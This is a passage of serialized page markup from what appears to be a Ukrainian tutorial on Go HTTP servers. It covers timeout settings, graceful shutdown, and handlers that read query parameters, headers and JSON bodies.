,"line":6223},[5557,30385,5707],{"class":5654},[5557,30387,5268],{"class":5585},[5557,30389,5712],{"class":5637},[5557,30391,5673],{"class":5585},[5557,30393,30394],{"class":5592},"\"Помилка при зупинці сервера: ",[5557,30396,5720],{"class":5654},[5557,30398,5723],{"class":5592},[5557,30400,5305],{"class":5585},[5557,30402,5660],{"class":5654},[5557,30404,5623],{"class":5585},[5557,30406,30407],{"class":5559,"line":6273},[5557,30408,5735],{"class":5585},[5557,30410,30411],{"class":5559,"line":6278},[5557,30412,5575],{"emptyLinePlaceholder":5574},[5557,30414,30415,30417,30419,30421,30423,30426],{"class":5559,"line":6284},[5557,30416,5763],{"class":5654},[5557,30418,5268],{"class":5585},[5557,30420,5768],{"class":5637},[5557,30422,5673],{"class":5585},[5557,30424,30425],{"class":5592},"\"✅ Сервер коректно зупинено\"",[5557,30427,5623],{"class":5585},[5557,30429,30430],{"class":5559,"line":6291},[5557,30431,5922],{"class":5585},[7167,30433,30435],{"id":30434},"пояснення-ключових-параметрів","Пояснення ключових параметрів",[7759,30437,30439],{"id":30438},"readtimeout",[5236,30440,28483],{},[5348,30442,30443,30444,30446],{},"Максимальний час, протягом якого сервер чекає на отримання повного запиту (заголовки + тіло). Якщо клієнт відправляє дані дуже повільно і перевищує цей таймаут, з'єднання буде обірвано. Це захищає від атак типу ",[5205,30445,29789],{},", коли зловмисник відкриває тисячі з'єднань і відправляє дані по одному байту за раз, виснажуючи ресурси сервера.",[7759,30448,30450],{"id":30449},"writetimeout",[5236,30451,28545],{},[5348,30453,30454],{},"Максимальний час на запис відповіді клієнту. Якщо клієнт читає дані дуже повільно (наприклад, через повільну мережу), і сервер не може відправити відповідь протягом цього часу, з'єднання закривається.",[7759,30456,30458],{"id":30457},"idletimeout",[5236,30459,30460],{},"IdleTimeout",[5348,30462,30463,30464,30466],{},"Максимальний час очікування наступного запиту при постійному з'єднанні (",[5236,30465,7127],{},"). Якщо клієнт не відправляє новий запит протягом цього часу, з'єднання закривається. Це запобігає накопиченню неактивних з'єднань, які займають ресурси сервера.",[7759,30468,30470],{"id":30469},"maxheaderbytes",[5236,30471,30472],{},"MaxHeaderBytes",[5348,30474,30475,30476,5268],{},"Максимальний розмір секції заголовків запиту в байтах. За замовчуванням — 1 МБ. Якщо клієнт відправляє заголовки більшого розміру (наприклад, величезний cookie), сервер відхиляє запит із статус-кодом ",[5205,30477,30478],{},"431 Request Header Fields Too Large",[7098,30480,30481,30484,30485],{},[5205,30482,30483],{},"Чому таймаути критичні для продакшн-систем:"," У реальних умовах ваш HTTP-сервер може зіткнутися з повільними клієнтами (мобільні пристрої на 3G), обірваними з'єднаннями, зловмисними ботами. Без налаштованих таймаутів кожне таке з'єднання залишається відкритим назавжди, створюючи горутину, яка ніколи не завершиться. Через кілька годин або днів роботи ваш сервер може вичерпати пам'ять або досягти ліміту файлових дескрипторів, і він перестане приймати нові з'єднання. ",[5205,30486,30487],{},"Завжди налаштовуйте таймаути у продакшн-середовищі.",[5340,30489],{},[5343,30491,30493],{"id":30492},"graceful-shutdown-коректне-завершення-роботи-сервера","Graceful Shutdown: коректне завершення роботи сервера",[5348,30495,30496,30497,30500,30501,30504],{},"Уявіть ситуацію: ви розгортаєте нову версію вашого сервера, і вам потрібно зупинити поточний процес. Якщо ви просто вбиваєте процес (наприклад, командою ",[5236,30498,30499],{},"kill -9","), всі ",[5205,30502,30503],{},"активні HTTP-запити"," будуть обірвані посередині обробки: клієнт отримає помилку з'єднання, транзакція в базі даних може залишитися незавершеною, файл може бути записаний частково.",[5348,30506,30507,30508,30511,30512,5226,30515,13199],{},"Метод ",[5236,30509,30510],{},"server.Shutdown(ctx)"," реалізує ",[5205,30513,30514],{},"плавне завершення роботи",[5228,30516,30517],{},"graceful shutdown",[5477,30519,30520,30523,30526],{},[5201,30521,30522],{},"Сервер припиняє приймати нові вхідні з'єднання.",[5201,30524,30525],{},"Усі вже активні з'єднання продовжують обслуговуватися до завершення поточних запитів.",[5201,30527,30528],{},"Після завершення всіх запитів (або після закінчення таймауту контексту) сервер коректно завершує роботу.",[5348,30530,30531,30532,5226,30535,30538],{},"Це дозволяє забезпечити ",[5205,30533,30534],{},"нульовий час простою",[5228,30536,30537],{},"zero downtime deployment",") при розгортанні нових версій: новий екземпляр сервера запускається паралельно зі старим, балансувальник навантаження перенаправляє новий трафік на новий сервер, а старий сервер завершує обробку поточних запитів і коректно вимикається.",[7425,30540,30542],{"alt":30541},"Діаграма Graceful Shutdown",[5464,30543,30545],{"className":7430,"code":30544,"language":7432,"meta":5472,"style":5472},"@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\nactor \"Оператор\" as Operator #DBEAFE\nparticipant \"HTTP Сервер\" as Server #FEF3C7\nparticipant \"Активне з'єднання 1\" as Conn1 #DCFCE7\nparticipant \"Активне з'єднання 2\" as Conn2 #DCFCE7\n\nOperator -> Server : SIGTERM (Ctrl+C)\nnote right of Server #FEE2E2\n  Сервер припиняє приймати\n  нові з'єднання\nend note\n\nServer -> Conn1 : Продовжує обробку запиту\nServer -> Conn2 : Продовжує обробку запиту\n\nConn1 -> Server : Завершення запиту 1\nConn2 -> Server : Завершення запиту 2\n\nServer -> Server : Усі запити завершено\nServer -> Operator : Сервер зупинено коректно ✅\n@enduml\n",[5236,30546,30547,30551,30555,30559,30563,30568,30573,30578,30583,30587,30592,30597,30602,30607,30611,30615,30620,30625,30629,30634,30639,30643,30648,30653],{"__ignoreMap":5472},[5557,30548,30549],{"class":5559,"line":5560},[5557,30550,7439],{},[5557,30552,30553],{"class":5559,"line":5571},[5557,30554,7444],{},[5557,30556,30557],{"class":5559,"line":5578},[5557,30558,7449],{},[5557,30560,30561],{"class":5559,"line":5589},[5557,30562,5575],{"emptyLinePlaceholder":5574},[5557,30564,30565],{"class":5559,"line":5596},[5557,30566,30567],{},"actor \"Оператор\" as Operator #DBEAFE\n",[5557,30569,30570],{"class":5559,"line":5602},[5557,30571,30572],{},"participant \"HTTP Сервер\" as Server #FEF3C7\n",[5557,30574,30575],{"class":5559,"line":5608},[5557,30576,30577],{},"participant \"Активне з'єднання 1\" as Conn1 #DCFCE7\n",[5557,30579,30580],{"class":5559,"line":5614},[5557,30581,30582],{},"participant \"Активне з'єднання 2\" as Conn2 #DCFCE7\n",[5557,30584,30585],{"class":5559,"line":5620},[5557,30586,5575],{"emptyLinePlaceholder":5574},[5557,30588,30589],{"class":5559,"line":5626},[5557,30590,30591],{},"Operator -> Server : SIGTERM (Ctrl+C)\n",[5557,30593,30594],{"class":5559,"line":5631},[5557,30595,30596],{},"note right of Server #FEE2E2\n",[5557,30598,30599],{"class":5559,"line":5644},[5557,30600,30601],{},"  Сервер припиняє приймати\n",[5557,30603,30604],{"class":5559,"line":5651},[5557,30605,30606],{},"  нові з'єднання\n",[5557,30608,30609],{"class":5559,"line":5686},[5557,30610,8494],{},[5557,30612,30613],{"class":5559,"line":5704},[5557,30614,5575],{"emptyLinePlaceholder":5574},[5557,30616,30617],{"class":5559,"line":5732},[5557,30618,30619],{},"Server -> Conn1 : Продовжує обробку запиту\n",[5557,30621,30622],{"class":5559,"line":5738},[5557,30623,30624],{},"Server -> Conn2 : Продовжує обробку запиту\n",[5557,30626,30627],{"class":5559,"line":5755},[5557,30628,5575],{"emptyLinePlaceholder":5574},[5557,30630,30631],{"class":5559,"line":5760},[5557,30632,30633],{},"Conn1 -> Server : Завершення запиту 1\n",[5557,30635,30636],{"class":5559,"line":5778},[5557,30637,30638],{},"Conn2 -> Server : Завершення запиту 2\n",[5557,30640,30641],{"class":5559,"line":5794},[5557,30642,5575],{"emptyLinePlaceholder":5574},[5557,30644,30645],{"class":5559,"line":5799},[5557,30646,30647],{},"Server -> Server : Усі запити завершено\n",[5557,30649,30650],{"class":5559,"line":5807},[5557,30651,30652],{},"Server -> Operator : Сервер зупинено коректно ✅\n",[5557,30654,30655],{"class":5559,"line":5813},[5557,30656,7632],{},[5340,30658],{},[5343,30660,30662],{"id":30661},"обробка-різних-типів-запитів-параметри-заголовки-форми","Обробка різних типів запитів: параметри, заголовки, форми",[5348,30664,30665],{},"Розглянемо практичні приклади обробки різних типів HTTP-запитів.",[7167,30667,30669],{"id":30668},"читання-параметрів-url-query-parameters","Читання параметрів URL (Query Parameters)",[5348,30671,30672,30673,7256],{},"Query-параметри передаються в URL після символу ",[5236,30674,30675],{},"?",[5464,30677,30680],{"className":30678,"code":30679,"language":5469},[5467],"GET \u002Fapi\u002Fproducts?category=electronics&page=2&limit=20\n",[5236,30681,30679],{"__ignoreMap":5472},[5348,30683,30684,30685,7256],{},"У Go вони доступні через поле ",[5236,30686,30687],{},"r.URL.Query()",[5464,30689,30691],{"className":5550,"code":30690,"language":5553,"meta":5472,"style":5472},"func productsHandler(w http.ResponseWriter, r *http.Request) {\n    query := r.URL.Query()\n\n    category := query.Get(\"category\")          \u002F\u002F \"electronics\"\n    page := query.Get(\"page\")                  \u002F\u002F \"2\"\n    limit := query.Get(\"limit\")                \u002F\u002F \"20\"\n\n    \u002F\u002F Якщо параметр відсутній, повертається порожній рядок\n    if category == \"\" {\n        http.Error(w, \"Параметр 'category' є обов'язковим\", http.StatusBadRequest)\n        return\n    }\n\n    fmt.Fprintf(w, \"Категорія: %s, Сторінка: %s, Ліміт: %s\\n\", category, page, limit)\n}\n",[5236,30692,30693,30724,30742,30746,30770,30791,30812,30816,30821,30834,30861,30865,30869,30873,30923],{"__ignoreMap":5472},[5557,30694,30695,30697,30700,30702,30704,30706,30708,30710,30712,30714,30716,30718,30720,30722],{"class":5559,"line":5560},[5557,30696,5634],{"class":5563},[5557,30698,30699],{"class":5637}," productsHandler",[5557,30701,5673],{"class":5585},[5557,30703,8909],{"class":5654},[5557,30705,8912],{"class":5567},[5557,30707,5268],{"class":5585},[5557,30709,8917],{"class":5567},[5557,30711,5305],{"class":5585},[5557,30713,8922],{"class":5654},[5557,30715,8925],{"class":5585},[5557,30717,8928],{"class":5567},[5557,30719,5268],{"class":5585},[5557,30721,8933],{"class":5567},[5557,30723,5949],{"class":5585},[5557,30725,30726,30728,30730,30732,30734,30736,30738,30740],{"class":5559,"line":5571},[5557,30727,17171],{"class":5654},[5557,30729,5663],{"class":5585},[5557,30731,8922],{"class":5654},[5557,30733,5268],{"class":5585},[5557,30735,10097],{"class":5654},[5557,30737,5268],{"class":5585},[5557,30739,17180],{"class":5637},[5557,30741,5752],{"class":5585},[5557,30743,30744],{"class":5559,"line":5578},[5557,30745,5575],{"emptyLinePlaceholder":5574},[5557,30747,30748,30751,30753,30755,30757,30759,30761,30764,30767],{"class":5559,"line":5589},[5557,30749,30750],{"class":5654},"    category",[5557,30752,5663],{"class":5585},[5557,30754,17192],{"class":5654},[5557,30756,5268],{"class":5585},[5557,30758,10977],{"class":5637},[5557,30760,5673],{"class":5585},[5557,30762,30763],{"class":5592},"\"category\"",[5557,30765,30766],{"class":5585},")          ",[5557,30768,30769],{"class":5647},"\u002F\u002F \"electronics\"\n",[5557,30771,30772,30774,30776,30778,30780,30782,30784,30786,30789],{"class":5559,"line":5596},[5557,30773,17187],{"class":5654},[5557,30775,5663],{"class":5585},[5557,30777,17192],{"class":5654},[5557,30779,5268],{"class":5585},[5557,30781,10977],{"class":5637},[5557,30783,5673],{"class":5585},[5557,30785,17201],{"class":5592},[5557,30787,30788],{"class":5585},")                  ",[5557,30790,17207],{"class":5647},[5557,30792,30793,30795,30797,30799,30801,30803,30805,30807,30810],{"class":5559,"line":5602},[5557,30794,17212],{"class":5654},[5557,30796,5663],{"class":5585},[5557,30798,17192],{"class":5654},[5557,30800,5268],{"class":5585},[5557,30802,10977],{"class":5637},[5557,30804,5673],{"class":5585},[5557,30806,17225],{"class":5592},[5557,30808,30809],{"class":5585},")                ",[5557,30811,17231],{"class":5647},[5557,30813,30814],{"class":5559,"line":5608},[5557,30815,5575],{"emptyLinePlaceholder":5574},[5557,30817,30818],{"class":5559,"line":5614},[5557,30819,30820],{"class":5647},"    \u002F\u002F Якщо параметр відсутній, повертається порожній рядок\n",[5557,30822,30823,30825,30828,30830,30832],{"class":5559,"line":5620},[5557,30824,5689],{"class":5581},[5557,30826,30827],{"class":5654}," category",[5557,30829,6353],{"class":5585},[5557,30831,9520],{"class":5592},[5557,30833,5701],{"class":5585},[5557,30835,30836,30838,30840,30842,30844,30846,30848,30851,30853,30855,30857,30859],{"class":5559,"line":5626},[5557,30837,9300],{"class":5654},[5557,30839,5268],{"class":5585},[5557,30841,9267],{"class":5637},[5557,30843,5673],{"class":5585},[5557,30845,8909],{"class":5654},[5557,30847,5305],{"class":5585},[5557,30849,30850],{"class":5592},"\"Параметр 'category' є обов'язковим\"",[5557,30852,5305],{"class":5585},[5557,30854,8928],{"class":5654},[5557,30856,5268],{"class":5585},[5557,30858,13902],{"class":5654},[5557,30860,5623],{"class":5585},[5557,30862,30863],{"class":5559,"line":5631},[5557,30864,6076],{"class":5581},[5557,30866,30867],{"class":5559,"line":5644},[5557,30868,5735],{"class":5585},[5557,30870,30871],{"class":5559,"line":5651},[5557,30872,5575],{"emptyLinePlaceholder":5574},[5557,30874,30875,30877,30879,30881,30883,30885,30887,30890,30892,30895,30897,30900,30902,30904,30906,30908,30911,30913,30916,30918,30921],{"class":5559,"line":5686},[5557,30876,5763],{"class":5654},[5557,30878,5268],{"class":5585},[5557,30880,9146],{"class":5637},[5557,30882,5673],{"class":5585},[5557,30884,8909],{"class":5654},[5557,30886,5305],{"class":5585},[5557,30888,30889],{"class":5592},"\"Категорія: ",[5557,30891,6238],{"class":5654},[5557,30893,30894],{"class":5592},", Сторінка: ",[5557,30896,6238],{"class":5654},[5557,30898,30899],{"class":5592},", Ліміт: ",[5557,30901,6238],{"class":5654},[5557,30903,6372],{"class":6358},[5557,30905,5723],{"class":5592},[5557,30907,5305],{"class":5585},[5557,30909,30910],{"class":5654},"category",[5557,30912,5305],{"class":5585},[5557,30914,30915],{"class":5654},"page",[5557,30917,5305],{"class":5585},[5557,30919,30920],{"class":5654},"limit",[5557,30922,5623],{"class":5585},[5557,30924,30925],{"class":5559,"line":5704},[5557,30926,5922],{"class":5585},[7167,30928,30930],{"id":30929},"читання-заголовків-запиту","Читання заголовків запиту",[5348,30932,30933,30934,7256],{},"Заголовки доступні через поле ",[5236,30935,12239],{},[5464,30937,30939],{"className":5550,"code":30938,"language":5553,"meta":5472,"style":5472},"func authHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Отримуємо заголовок Authorization\n    authHeader := r.Header.Get(\"Authorization\")\n\n    if authHeader == \"\" {\n        http.Error(w, \"Відсутній заголовок Authorization\", http.StatusUnauthorized)\n        return\n    }\n\n    \u002F\u002F Очікуємо формат: \"Bearer \u003Ctoken>\"\n    if !strings.HasPrefix(authHeader, \"Bearer \") {\n        http.Error(w, \"Невалідний формат токена\", http.StatusUnauthorized)\n        return\n    }\n\n    token := strings.TrimPrefix(authHeader, \"Bearer \")\n    fmt.Fprintf(w, \"Токен отримано: %s\\n\", token)\n}\n",[5236,30940,30941,30972,30977,31000,31004,31017,31044,31048,31052,31056,31061,31085,31112,31116,31120,31124,31147,31176],{"__ignoreMap":5472},[5557,30942,30943,30945,30948,30950,30952,30954,30956,30958,30960,30962,30964,30966,30968,30970],{"class":5559,"line":5560},[5557,30944,5634],{"class":5563},[5557,30946,30947],{"class":5637}," authHandler",[5557,30949,5673],{"class":5585},[5557,30951,8909],{"class":5654},[5557,30953,8912],{"class":5567},[5557,30955,5268],{"class":5585},[5557,30957,8917],{"class":5567},[5557,30959,5305],{"class":5585},[5557,30961,8922],{"class":5654},[5557,30963,8925],{"class":5585},[5557,30965,8928],{"class":5567},[5557,30967,5268],{"class":5585},[5557,30969,8933],{"class":5567},[5557,30971,5949],{"class":5585},[5557,30973,30974],{"class":5559,"line":5571},[5557,30975,30976],{"class":5647},"    \u002F\u002F Отримуємо заголовок Authorization\n",[5557,30978,30979,30982,30984,30986,30988,30990,30992,30994,30996,30998],{"class":5559,"line":5578},[5557,30980,30981],{"class":5654},"    authHeader",[5557,30983,5663],{"class":5585},[5557,30985,8922],{"class":5654},[5557,30987,5268],{"class":5585},[5557,30989,10972],{"class":5654},[5557,30991,5268],{"class":5585},[5557,30993,10977],{"class":5637},[5557,30995,5673],{"class":5585},[5557,30997,17745],{"class":5592},[5557,30999,5623],{"class":5585},[5557,31001,31002],{"class":5559,"line":5589},[5557,31003,5575],{"emptyLinePlaceholder":5574},[5557,31005,31006,31008,31011,31013,31015],{"class":5559,"line":5596},[5557,31007,5689],{"class":5581},[5557,31009,31010],{"class":5654}," authHeader",[5557,31012,6353],{"class":5585},[5557,31014,9520],{"class":5592},[5557,31016,5701],{"class":5585},[5557,31018,31019,31021,31023,31025,31027,31029,31031,31034,31036,31038,31040,31042],{"class":5559,"line":5602},[5557,31020,9300],{"class":5654},[5557,31022,5268],{"class":5585},[5557,31024,9267],{"class":5637},[5557,31026,5673],{"class":5585},[5557,31028,8909],{"class":5654},[5557,31030,5305],{"class":5585},[5557,31032,31033],{"class":5592},"\"Відсутній заголовок Authorization\"",[5557,31035,5305],{"class":5585},[5557,31037,8928],{"class":5654},[5557,31039,5268],{"class":5585},[5557,31041,9285],{"class":5654},[5557,31043,5623],{"class":5585},[5557,31045,31046],{"class":5559,"line":5608},[5557,31047,6076],{"class":5581},[5557,31049,31050],{"class":5559,"line":5614},[5557,31051,5735],{"class":5585},[5557,31053,31054],{"class":5559,"line":5620},[5557,31055,5575],{"emptyLinePlaceholder":5574},[5557,31057,31058],{"class":5559,"line":5626},[5557,31059,31060],{"class":5647},"    \u002F\u002F Очікуємо формат: \"Bearer \u003Ctoken>\"\n",[5557,31062,31063,31065,31067,31069,31071,31074,31076,31079,31081,31083],{"class":5559,"line":5631},[5557,31064,5689],{"class":5581},[5557,31066,9365],{"class":5585},[5557,31068,6103],{"class":5654},[5557,31070,5268],{"class":5585},[5557,31072,31073],{"class":5637},"HasPrefix",[5557,31075,5673],{"class":5585},[5557,31077,31078],{"class":5654},"authHeader",[5557,31080,5305],{"class":5585},[5557,31082,24756],{"class":5592},[5557,31084,5949],{"class":5585},[5557,31086,31087,31089,31091,31093,31095,31097,31099,31102,31104,31106,31108,31110],{"class":5559,"line":5644},[5557,31088,9300],{"class":5654},[5557,31090,5268],{"class":5585},[5557,31092,9267],{"class":5637},[5557,31094,5673],{"class":5585},[5557,31096,8909],{"class":5654},[5557,31098,5305],{"class":5585},[5557,31100,31101],{"class":5592},"\"Невалідний формат токена\"",[5557,31103,5305],{"class":5585},[5557,31105,8928],{"class":5654},[5557,31107,5268],{"class":5585},[5557,31109,9285],{"class":5654},[5557,31111,5623],{"class":5585},[5557,31113,31114],{"class":5559,"line":5651},[5557,31115,6076],{"class":5581},[5557,31117,31118],{"class":5559,"line":5686},[5557,31119,5735],{"class":5585},[5557,31121,31122],{"class":5559,"line":5704},[5557,31123,5575],{"emptyLinePlaceholder":5574},[5557,31125,31126,31129,31131,31133,31135,31137,31139,31141,31143,31145],{"class":5559,"line":5732},[5557,31127,31128],{"class":5654},"    token",[5557,31130,5663],{"class":5585},[5557,31132,6103],{"class":5654},[5557,31134,5268],{"class":5585},[5557,31136,13845],{"class":5637},[5557,31138,5673],{"class":5585},[5557,31140,31078],{"class":5654},[5557,31142,5305],{"class":5585},[5557,31144,24756],{"class":5592},[5557,31146,5623],{"class":5585},[5557,31148,31149,31151,31153,31155,31157,31159,31161,31164,31166,31168,31170,31172,31174],{"class":5559,"line":5738},[5557,31150,5763],{"class":5654},[5557,31152,5268],{"class":5585},[5557,31154,9146],{"class":5637},[5557,31156,5673],{"class":5585},[5557,31158,8909],{"class":5654},[5557,31160,5305],{"class":5585},[5557,31162,31163],{"class":5592},"\"Токен отримано: ",[5557,31165,6238],{"class":5654},[5557,31167,6372],{"class":6358},[5557,31169,5723],{"class":5592},[5557,31171,5305],{"class":5585},[5557,31173,24762],{"class":5654},[5557,31175,5623],{"class":5585},[5557,31177,31178],{"class":5559,"line":5755},[5557,31179,5922],{"class":5585},[7167,31181,31183],{"id":31182},"обробка-json-тіла-запиту","Обробка JSON-тіла запиту",[5348,31185,31186,31187,31189,31190,7256],{},"Для POST\u002FPUT\u002FPATCH-запитів тіло запиту читається через поле ",[5236,31188,12243],{},", яке реалізує інтерфейс ",[5236,31191,17971],{},[5464,31193,31195],{"className":5550,"code":31194,"language":5553,"meta":5472,"style":5472},"type User struct {\n    Name  string `json:\"name\"`\n    Email string `json:\"email\"`\n    Age   int    `json:\"age\"`\n}\n\nfunc createUserHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Перевіряємо метод\n    if r.Method != http.MethodPost {\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n        return\n    }\n\n    \u002F\u002F Перевіряємо заголовок Content-Type\n    contentType := r.Header.Get(\"Content-Type\")\n    if contentType != \"application\u002Fjson\" {\n        http.Error(w, \"Очікується Content-Type: application\u002Fjson\", http.StatusBadRequest)\n        return\n    }\n\n    \u002F\u002F Декодуємо JSON із тіла запиту\n    var user User\n    decoder := json.NewDecoder(r.Body)\n    if err := decoder.Decode(&user); err != nil {\n        http.Error(w, fmt.Sprintf(\"Невалідний JSON: %v\", err), http.StatusBadRequest)\n        return\n    }\n    defer r.Body.Close()\n\n    \u002F\u002F Валідація\n    if user.Name == \"\" || user.Email == \"\" {\n        http.Error(w, \"Поля 'name' та 'email' обов'язкові\", http.StatusUnprocessableEntity)\n        return\n    }\n\n    \u002F\u002F Формуємо відповідь\n    user.Age = 25 \u002F\u002F Симулюємо обробку\n\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    w.WriteHeader(http.StatusCreated)\n    json.NewEncoder(w).Encode(user)\n}\n",[5236,31196,31197,31208,31216,31225,31235,31239,31243,31274,31279,31299,31325,31329,31333,31337,31342,31364,31377,31404,31408,31412,31416,31421,31431,31453,31481,31524,31528,31532,31548,31552,31557,31585,31613,31617,31621,31625,31630,31647,31651,31673,31691,31713],{"__ignoreMap":5472},[5557,31198,31199,31201,31204,31206],{"class":5559,"line":5560},[5557,31200,11991],{"class":5563},[5557,31202,31203],{"class":5567}," User",[5557,31205,11997],{"class":5563},[5557,31207,5701],{"class":5585},[5557,31209,31210,31212,31214],{"class":5559,"line":5571},[5557,31211,22875],{"class":5654},[5557,31213,16998],{"class":5567},[5557,31215,18507],{"class":5592},[5557,31217,31218,31221,31223],{"class":5559,"line":5578},[5557,31219,31220],{"class":5654},"    Email",[5557,31222,6662],{"class":5567},[5557,31224,18517],{"class":5592},[5557,31226,31227,31230,31232],{"class":5559,"line":5589},[5557,31228,31229],{"class":5654},"    Age",[5557,31231,22951],{"class":5567},[5557,31233,31234],{"class":5592},"    `json:\"age\"`\n",[5557,31236,31237],{"class":5559,"line":5596},[5557,31238,5922],{"class":5585},[5557,31240,31241],{"class":5559,"line":5602},[5557,31242,5575],{"emptyLinePlaceholder":5574},[5557,31244,31245,31247,31250,31252,31254,31256,31258,31260,31262,31264,31266,31268,31270,31272],{"class":5559,"line":5608},[5557,31246,5634],{"class":5563},[5557,31248,31249],{"class":5637}," createUserHandler",[5557,31251,5673],{"class":5585},[5557,31253,8909],{"class":5654},[5557,31255,8912],{"class":5567},[5557,31257,5268],{"class":5585},[5557,31259,8917],{"class":5567},[5557,31261,5305],{"class":5585},[5557,31263,8922],{"class":5654},[5557,31265,8925],{"class":5585},[5557,31267,8928],{"class":5567},[5557,31269,5268],{"class":5585},[5557,31271,8933],{"class":5567},[5557,31273,5949],{"class":5585},[5557,31275,31276],{"class":5559,"line":5614},[5557,31277,31278],{"class":5647},"    \u002F\u002F Перевіряємо метод\n",[5557,31280,31281,31283,31285,31287,31289,31291,31293,31295,31297],{"class":5559,"line":5620},[5557,31282,5689],{"class":5581},[5557,31284,10109],{"class":5654},[5557,31286,5268],{"class":5585},[5557,31288,12981],{"class":5654},[5557,31290,5695],{"class":5585},[5557,31292,8928],{"class":5654},[5557,31294,5268],{"class":5585},[5557,31296,26869],{"class":5654},[5557,31298,5701],{"class":5585},[5557,31300,31301,31303,31305,31307,31309,31311,31313,31315,31317,31319,31321,31323],{"class":5559,"line":5626},[5557,31302,9300],{"class":5654},[5557,31304,5268],{"class":5585},[5557,31306,9267],{"class":5637},[5557,31308,5673],{"class":5585},[5557,31310,8909],{"class":5654},[5557,31312,5305],{"class":5585},[5557,31314,13009],{"class":5592},[5557,31316,5305],{"class":5585},[5557,31318,8928],{"class":5654},[5557,31320,5268],{"class":5585},[5557,31322,13018],{"class":5654},[5557,31324,5623],{"class":5585},[5557,31326,31327],{"class":5559,"line":5631},[5557,31328,6076],{"class":5581},[5557,31330,31331],{"class":5559,"line":5644},[5557,31332,5735],{"class":5585},[5557,31334,31335],{"class":5559,"line":5651},[5557,31336,5575],{"emptyLinePlaceholder":5574},[5557,31338,31339],{"class":5559,"line":5686},[5557,31340,31341],{"class":5647},"    \u002F\u002F Перевіряємо заголовок Content-Type\n",[5557,31343,31344,31346,31348,31350,31352,31354,31356,31358,31360,31362],{"class":5559,"line":5704},[5557,31345,26186],{"class":5654},[5557,31347,5663],{"class":5585},[5557,31349,8922],{"class":5654},[5557,31351,5268],{"class":5585},[5557,31353,10972],{"class":5654},[5557,31355,5268],{"class":5585},[5557,31357,10977],{"class":5637},[5557,31359,5673],{"class":5585},[5557,31361,11098],{"class":5592},[5557,31363,5623],{"class":5585},[5557,31365,31366,31368,31371,31373,31375],{"class":5559,"line":5732},[5557,31367,5689],{"class":5581},[5557,31369,31370],{"class":5654}," contentType",[5557,31372,5695],{"class":5585},[5557,31374,6555],{"class":5592},[5557,31376,5701],{"class":5585},[5557,31378,31379,31381,31383,31385,31387,31389,31391,31394,31396,31398,31400,31402],{"class":5559,"line":5738},[5557,31380,9300],{"class":5654},[5557,31382,5268],{"class":5585},[5557,31384,9267],{"class":5637},[5557,31386,5673],{"class":5585},[5557,31388,8909],{"class":5654},[5557,31390,5305],{"class":5585},[5557,31392,31393],{"class":5592},"\"Очікується Content-Type: application\u002Fjson\"",[5557,31395,5305],{"class":5585},[5557,31397,8928],{"class":5654},[5557,31399,5268],{"class":5585},[5557,31401,13902],{"class":5654},[5557,31403,5623],{"class":5585},[5557,31405,31406],{"class":5559,"line":5755},[5557,31407,6076],{"class":5581},[5557,31409,31410],{"class":5559,"line":5760},[5557,31411,5735],{"class":5585},[5557,31413,31414],{"class":5559,"line":5778},[5557,31415,5575],{"emptyLinePlaceholder":5574},[5557,31417,31418],{"class":5559,"line":5794},[5557,31419,31420],{"class":5647},"    \u002F\u002F Декодуємо JSON із тіла запиту\n",[5557,31422,31423,31425,31428],{"class":5559,"line":5799},[5557,31424,18492],{"class":5563},[5557,31426,31427],{"class":5654}," user",[5557,31429,31430],{"class":5567}," User\n",[5557,31432,31433,31435,31437,31439,31441,31443,31445,31447,31449,31451],{"class":5559,"line":5807},[5557,31434,18530],{"class":5654},[5557,31436,5663],{"class":5585},[5557,31438,6560],{"class":5654},[5557,31440,5268],{"class":5585},[5557,31442,15187],{"class":5637},[5557,31444,5673],{"class":5585},[5557,31446,8922],{"class":5654},[5557,31448,5268],{"class":5585},[5557,31450,15196],{"class":5654},[5557,31452,5623],{"class":5585},[5557,31454,31455,31457,31459,31461,31463,31465,31467,31469,31471,31473,31475,31477,31479],{"class":5559,"line":5813},[5557,31456,5689],{"class":5581},[5557,31458,5692],{"class":5654},[5557,31460,5663],{"class":5585},[5557,31462,18577],{"class":5654},[5557,31464,5268],{"class":5585},[5557,31466,15201],{"class":5637},[5557,31468,15204],{"class":5585},[5557,31470,10906],{"class":5654},[5557,31472,15210],{"class":5585},[5557,31474,5660],{"class":5654},[5557,31476,5695],{"class":5585},[5557,31478,5698],{"class":5563},[5557,31480,5701],{"class":5585},[5557,31482,31483,31485,31487,31489,31491,31493,31495,31497,31499,31501,31503,31506,31508,31510,31512,31514,31516,31518,31520,31522],{"class":5559,"line":5835},[5557,31484,9300],{"class":5654},[5557,31486,5268],{"class":5585},[5557,31488,9267],{"class":5637},[5557,31490,5673],{"class":5585},[5557,31492,8909],{"class":5654},[5557,31494,5305],{"class":5585},[5557,31496,6781],{"class":5654},[5557,31498,5268],{"class":5585},[5557,31500,6786],{"class":5637},[5557,31502,5673],{"class":5585},[5557,31504,31505],{"class":5592},"\"Невалідний JSON: ",[5557,31507,5720],{"class":5654},[5557,31509,5723],{"class":5592},[5557,31511,5305],{"class":5585},[5557,31513,5660],{"class":5654},[5557,31515,7675],{"class":5585},[5557,31517,8928],{"class":5654},[5557,31519,5268],{"class":5585},[5557,31521,13902],{"class":5654},[5557,31523,5623],{"class":5585},[5557,31525,31526],{"class":5559,"line":5849},[5557,31527,6076],{"class":5581},[5557,31529,31530],{"class":5559,"line":5875},[5557,31531,5735],{"class":5585},[5557,31533,31534,31536,31538,31540,31542,31544,31546],{"class":5559,"line":5881},[5557,31535,5741],{"class":5581},[5557,31537,10109],{"class":5654},[5557,31539,5268],{"class":5585},[5557,31541,15196],{"class":5654},[5557,31543,5268],{"class":5585},[5557,31545,5749],{"class":5637},[5557,31547,5752],{"class":5585},[5557,31549,31550],{"class":5559,"line":5887},[5557,31551,5575],{"emptyLinePlaceholder":5574},[5557,31553,31554],{"class":5559,"line":5892},[5557,31555,31556],{"class":5647},"    \u002F\u002F 